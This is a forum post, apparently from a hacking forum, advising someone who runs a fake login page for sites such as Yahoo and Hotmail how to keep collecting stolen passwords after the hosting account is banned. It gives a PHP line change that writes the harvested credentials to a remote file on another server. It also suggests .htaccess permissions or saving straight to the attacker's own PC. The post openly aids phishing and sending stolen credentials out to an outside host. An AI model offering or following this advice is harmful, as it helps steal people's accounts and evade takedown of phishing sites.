well you get banned for
hosting a fake page, even if it has no malicious code in it, it is illegal to copy a page and then host it. that goes for most of the sites, like yahoo, hotmail..etc.
so what you want, is to still have access to info ?
you want to host a fake page and still have access to stored/stolen login info after your hosting gets banned ?
if thats the case, try modifiying this
Code: Select all
$handle = fopen("passwords.txt", "a");
to this
Code: Select all
$handle = fopen("http://yoursite.com/fakepages/passwords.txt", "a");
however you need to set some permissions for the passwords.txt on your site then (other site).
your site will NOT get banned/cancelled if you have passwords there. i think you can use .htaccess file to allow remote writing into a local file.
for example if i would upload passwords.txt for you into this place:
sethioz.com/stuff/fakepages/passwords.txt
then you have no permissions to write into that file, i would have to give the permissions, but if its public, (CHMOD), then everybody would be able to write into it. so you need to find a way to block everything else, but that one hosting where you put the fake page to allow writing into passwords.txt. you can do all that using .htaccess file i think.
i just dont know .htaccess commands from head, i would google for them too, so do so.
OR if you have public IP (you are not behind router or NAT), then you can make it save directly into your pc, using same method, but again you have to give it a permissions.